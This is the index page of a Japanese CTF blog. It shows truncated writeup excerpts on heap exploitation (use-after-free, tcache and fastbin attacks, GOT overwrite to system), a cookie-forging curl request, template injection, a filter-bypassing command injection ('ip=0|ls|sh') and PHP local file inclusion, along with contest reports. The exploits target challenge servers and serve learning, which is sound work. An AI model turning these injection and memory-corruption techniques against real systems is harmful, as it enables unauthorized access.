Welcome!👋

ここでは、主にBinary exploitation / pwnなどのCTFのwriteupや、学習したことを書きます。————If you want to see in English, you can click on the En button in the upper left corner.

RicercaCTF2023 writeup

はじめに 4/22に開催されたRicercaCTF 2023にSUSH1st1として参加して、23位でした。 PwnもWebもあまり解けず悔しかった。 競技中に解いた問題 [pwn 97] BOFSec(107 solves) [web 95] Cat Café(113 solves) [misc 200] gatekeeper(21 solves) 競技後に解いた問題 [web] tinyDB 競技中に解いた問題 [pwn 97] BOFSec 100%本物保証 authored by ptr-yudai 問題概要 ユーザーのis_adminによってフラグがもらえたりもらえなかったりする。 ... //(一部抜粋) typedef struct { char name[0x100]; int is_admin; } auth_t; auth_t get_auth(void) { auth_t user = { .is_admin = 0 }; printf("Name: "); scanf("%s", user....

2023-04-22 Â· 3 分 Â· Me

GCC 2023 in Singapore 参加記

はじめに 02/12 から 02/18 に開催された Global Cyber Camp in Singapore に参加しました。 本記事では、GCC への応募段階から参加中の出来事、感想などを書きます。 さまざまな気づきや出来事があったので、最後までご覧ください。 Also, English version is here, please check it out! 応募したとき 2022 年の 11 月頃に Twitter の TL に Global Cyber Camp(以下、GCC)というものがあるというのが流れてきました。参加してみたいなと思ったのですが、応募課題があったので応募は後回しにしていました。 ふと「GCC の応募期限っていつまでだっけ?」と GCC の存在を思い出し、確認したところ 2 日後でした。後回しにしていた課題を解答して応募しました。 Global Cyber Camp に参加中 なにをやったのか いくつかの印象に残っている講義について簡単に書こうと思います。 凌先生による PowerShell マルウェア検知エンジンハッカソン(前半)では、PowerShell マルウェアの基礎について学習しました。PowerShell を使う機会がこれまでなかったのですが、ShinoBOT というシミュレータを通して、できることが多いんだなと感じました。 この講義では、グループで検知エンジンを作る必要がありました。言語が変わると普段のようにはできず、検討している会話についていけず、悔しかったです。 ドローンセキュリティと信号解析という講義もとても印象に残っています。前半では、部屋の中を縦横無尽にドローンが飛び、それをとある機材によって制御不能にするというものを見ました。後半では、小型のドローンを作ってみました。部屋にはたくさんのドローンがあり、干渉していたのか、なかなか飛ばせなかったですが、飛ばせたときはとても嬉しかったです。 他にも、Web ペネトレーションテスト入門や IDA を用いて C++マルウェアのリバースエンジニアリングなどをおこないました。 どのような講義があったかは、こちらから確認できます。また、一部変更された講義があります。 さまざまな出来事・気づき 昼食休憩に誰かしらに話しかけたり、PowerShell マルウェア検知エンジンを作っていた日以外は、夜は誰かしらと出かけたりしました。 Pronounciation-Battle(発音バトル) シンガポール人、マレーシア人、台湾人、韓国人、日本人で居酒屋街のような場所で飲むことになった日がありました。 飲み会でゲームやコールがあるという話は日本でも聞いたことがありますが、外国でも同様の文化があるみたいです。そのゲームの一種として Pronounciation-Battle(発音バトル)をやりました。...

2023-02-24 Â· 1 分 Â· Me

KOSENセキュリティコンテスト 2022 参加記

はじめに 2022年11月19日に、1年ぶりに開催された高専セキュリティコンテストに参加しました。 また、このコンテストでは外部で問題の内容・解法への言及は禁止されているので、 問題への言及を避ける形で書くことを予めご了承ください。1 準備 @yu1hpa、 @Yajirushi、 @Shibaken、 とうふくんの4人で SUSH1st(すしふぁーすと)として参加しました。 いつものメンバー+αでチームを組みました。 競技当日 当日は、スマホの着信音で起きました。あやうく起床部門敗退しかけましたが、間に合いました。 Pwnは難しくなく、特に午前中は「なんで僕しか解いていないんだろう」とずっと思っていました。 そういう感じだったので、ミスで全完を逃したのは残念でした。 また、とうふくんには主にネットワークの問題を任せて問題を解いてもらっていました。 テスト勉強を放置して高専セキュコンに出ていましたがcrypto問が全然解けなくて撃沈しました — shibak3333n (@Shibak33333333n) November 19, 2022 今回のコンテストでは、特にShibakenの力を封じられたことや Yajirushiが力を発揮できていなかったのは痛手でした。 一緒に学校生活してるので、彼らの凄さはよくわかっています。 こういうときもあると思いますし、仕方ないです。 それよりも4人で集まって、解いていた瞬間がとてもワクワクしていて、 本当に楽しめました! 結果 高専セキュリティコンテストおつかれさまでした! 結果は2位で、とても悔しいです。 ... w/ @Shibak33333333n , @Yajirushi_314 , とうふくん — yu1hpa (ゆいふぁ) (@yu1hpa) November 20, 2022 1位には一歩届かず、2位で終えました。 最後に 作問・運営などを担当された皆様。 柔軟な対応をはじめ、当日は円滑なコンテストの開催をおこなっていただき、ありがとうございました! 本記事は長野高専AdC 2022の3日目の記事です。 運営に問い合わせをおこなったところ、感想や問題名は大丈夫とのことです。 ↩︎

2022-12-02 Â· 1 分 Â· Me

DiceCTF@HOPE

問題 [web]secure-page 以下のところよりadmin = trueであればいいことがわかります。 ... if admin == '': headers['set-cookie'] = 'admin=false' if admin == 'true': return (200, ''' <title>Secure Page</title> <link rel="stylesheet" href="/style.css" /> <div class="container"> <h1>Secure Page</h1> %s</div> ''' % os.environ.get('FLAG', 'flag is missing!'), headers) ... HeaderにCookie: admin=trueを置いてリクエストを叩けばいいです。 curl -H 'Cookie: admin=true' https://secure-page.mc.ax hope{signatures_signatures_signatures} [web]reverser 以下のところでテンプレートインジェクションができそうです。 @app.post('/') def reverse(): ... output = request.form.get('text', '')[::-1] return render_template_string(result % output) outputは逆文字列になることに注意して、書きます。 i = "{{url_for....

2022-07-25 Â· 3 分 Â· Me

Flatt Security Developer's Quiz #2

https://twitter.com/flatt_security/status/1549710781918617600 方針 パイプで出力を繋いで、ファイル名を表示します。 フィルタリングとコマンドの実行処理 以下のexec()は、スラッシュで囲まれたパターンをフィルタリングするので、多くの記号が使えません。 if(/[!@#$%\^&*()\-_+=\[\] {}'";:,:?~\\]/.exec(ip_address)){ res.send("Error! Your request is filtered!"); return; } ip_addressにフィルタリングを回避したコマンドを入力することで実行されてしまうことがわかります。 また、execSync()の処理がエラーの場合、レスポンスが返ってきます。 const cmd = "sh -c 'ping -c 1 " + ip_address + "' 2>&1 >/dev/null; true"; const stderr = execSync(cmd, {"timeout": 1000}); if(stderr != ""){ res.send("Error! " + stderr); return; } res.send("Your IP is in a good state!"); 解答 パイプ|がフィルタリングされいないことに気づくので、それを使って繋いでいきます。 https://2207okapi.twitter-quiz.flatt.training/?ip=0|ls|sh Error! sh: 1: main.js: not found sh: 2: node_modules: not found sh: 3: package-lock....

2022-07-23 Â· 1 分 Â· Me

Flatt Security Developer's Quiz #1

https://twitter.com/flatt_security/status/1529416984785752065 方針 jsonの仕様でUnicode文字列が展開されるので、それを使ってフィルタリングを回避します。 次にphp://filter/convert.base64-encodeを使ってLocal File Inclusion(LFI)をします。 file_get_contents(“php://input”) 以下のphp://inputはリクエストのbodyから生のデータを読み込むことができ、 file_get_contents()はファイルの内容を文字列に読み込むます。 $query = file_get_contents("php://input"); フィルタリングの回避方法の検討 次の$filter_listでフィルタリングされている文字列は、 PHPのwrapperというものに含まれています。 このフィルタをjsonのUnicode文字列を使って回避します。 また、以下のようにstripos()が使われているので、 大文字で回避することもできません。 stripos — Find the position of the first occurrence of a case-insensitive substring in a string foreach ($filter_list as $filter) { if(stripos($query, $filter) !== false) { exit("Filtered!"); } } LFIの検討 次のjson_decode($query, true)['fn']の部分は、 {"fn": "hoge"}のようなjson形式を求められています。 "hoge"の部分にphp://...というPHPのsupported protocol/wrapperを与えて、 LFIするというのが、この問題の解法です。 $output = file_get_contents(json_decode($query, true)['fn']); また、LFIで読み込んだファイルに<?phpという文字列があると終了してしまうので、 php://filter/convert.base64-encodeを使ってbase64でエンコードした文字列を出力します。 フィルタリングの回避とLFI Using php://filter for local file inclusionを参考にして次のようなURLを考えます。...

2022-07-22 Â· 1 分 Â· Me

babyheap - FireShellCTF 2019

方針 Use After Freeでfdを書き換えることで、.bss+0x20(グローバル変数のアドレス)をtcacheに繋ぐ。 そのときにすべてのグローバル変数を初期化する。 また、atoi@gotをsystemに向けて、system("/bin/sh")を呼び出す。 Use After Free freeした領域のfdを.bss+0x20で書き換える。 (最初にfreeした領域を0と表記する) tcache: 0 -> (.bss+0x20) -> NULL create() delete() edit(p64(e.bss()+0x20)) # 0x6020a0 なぜ.bss+0x20のアドレスを繋ぐのか 各種フラグや、mallocして返ってくる領域が.bssに置かれています。 したがって、各種フラグの再初期化や、 返ってくる領域に任意のアドレスを書き込みやすいからです。 .bss sectionのアドレス gef➤ xfiles Start End Name File 0x00000000003ff270 0x00000000003ff450 .dynamic /ctf/yu1hpa/019/FireShell/babyheap/babyheap : : : 0x0000000000602080 0x00000000006020d0 .bss /ctf/yu1hpa/2019/FireShell/babyheap/babyheap よって、bssセクションは0x602080から始まる。 各種フラグの初期化とlibc leakの旅 create -> edit -> show -> deleteをした時です。 最後にdeleteをしていることと、隠しコマンドfillは使ってないので、フラグが立っていません。 (デコンパイラを使って、各アドレスがどのフラグかを確認できます。) 0x6020a0: 0x0000000000000000 0x0000000000000001 0x6020b0: 0x0000000000000001 0x0000000000000001 0x6020c0: 0x0000000000000000 0x0000000000603260 0x6020a0: create 0x6020a8: edit 0x6020b0: show 0x6020b8: delete 0x6020c0: fill 0x6020c8: mallocしたときに返ってくる領域 あとはfillで....

2022-05-15 Â· 2 分 Â· Me

heap_challenge - CPCTF 2022

方針 unsorted binによるlibc leakと、House of botcake 事前準備 # def new(index: str, msg: str, content: bytes) new("0", "16", b"AAAA") new("1", "1280", b"BBBB") new("2", "16", b"CCCC") new("3", "16", b"DDDD") new("4", "16", b"EEEE") new("5", "16", b"FFFF") unsorted binによるlibc leakの旅 unsorted binのfdは、main_arena.topを指す。 topメンバの位置と、libcの中に置かれるmain_arenaの位置がわかれば、libc base addressを求めることができる。 (一度mallocしないとtopにアドレスが入らないので、そこまで進める。) gef➤ heap arena Arena (base=0x7ffff7fc1b80, top=0x55555555b2d0, last_remainder=0x0, next=0x7ffff7fc1b80, next_free=0x0, system_mem=0x21000) 次に、libcの配置されている場所は0x00007ffff7dd5000である。 gef➤ vm : 0x00007ffff7dd5000 0x00007ffff7df7000 0x0000000000000000 r-- /ctf/yu1hpa/2022/CPCTF/heap_chal/libc.so.6 したがって、main_arenaとのオフセットは、 0x7ffff7fc1b80 - 0x00007ffff7dd5000 = 0x1ecb80 また、topメンバの位置は次のように確認することができる。 gef➤ x/16xg 0x7ffff7fc1b80 0x7ffff7fc1b80: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1b90: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1ba0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1bb0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1bc0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1bd0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1be0: 0x000055555555b2d0 0x0000000000000000 0x7ffff7fc1bf0: 0x00007ffff7fc1be0 0x00007ffff7fc1be0 top=0x55555555b2d0はmain_arena(0x7ffff7fc1b80)<+96> の位置にあることがわかるので、libc base addressは以下のように求まる。...

2022-05-08 Â· 4 分 Â· Me

fastbin_tutorial - InterKosenCTF2019

方針 公式writeupでは、Use After Freeでやっているのですが、 Double Free Tutorial!と出てくるので、double freeとfastbin unlink attackをやります。 注意点 最初に与えられるflagのアドレスから0x10を引かなければならない。 char *flag; : void setup(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); FILE *f = fopen("flag.txt", "r"); flag = malloc(0x50); if (f == NULL) { puts("[WARN] Please report this bug to the author."); exit(1); } fread(flag, 1, 0x50, f); fclose(f); malloc(0x100); // assure no leak by freed FILE buffer } 与えられたアドレスに直接繋ぐと、Oops!...

2022-05-07 Â· 2 分 Â· Me

shopkeeper - InterKosenCTF2019

方針 shop関数内にあるmoneyという変数をStack Overflowによって書き換えて、 十分なmoneyを手にして、Hopesを買う方法を取ります。 脆弱性を探す旅🐈 一つの脆弱性は、readline関数で無限に入力できることです。 void readline(char *buf) { char *ptr; for(ptr = buf; ; ++ptr) { // Vulnerable here if (read(0, ptr, 1) == 0) break; if (*ptr == '\n') { *ptr = 0x00; break; } } } もう一つは、文字列比較でstrcmp関数を使っていることです。 void shop(item_t *inventory) { char buf[LEN_NAME]; item_t *p, *t; int money = 100; また、shop関数の中で、moneyがローカル変数として定義されているので、 書き換えることができる場所を探します。 strcmp関数は'\0'から比較しない shop関数の中で呼ばれているpurchase関数では、 文字列比較に、strcmp関数が使われていますが、 マニュアルを見ると、次のように書かれています。...

2022-05-05 Â· 1 分 Â· Me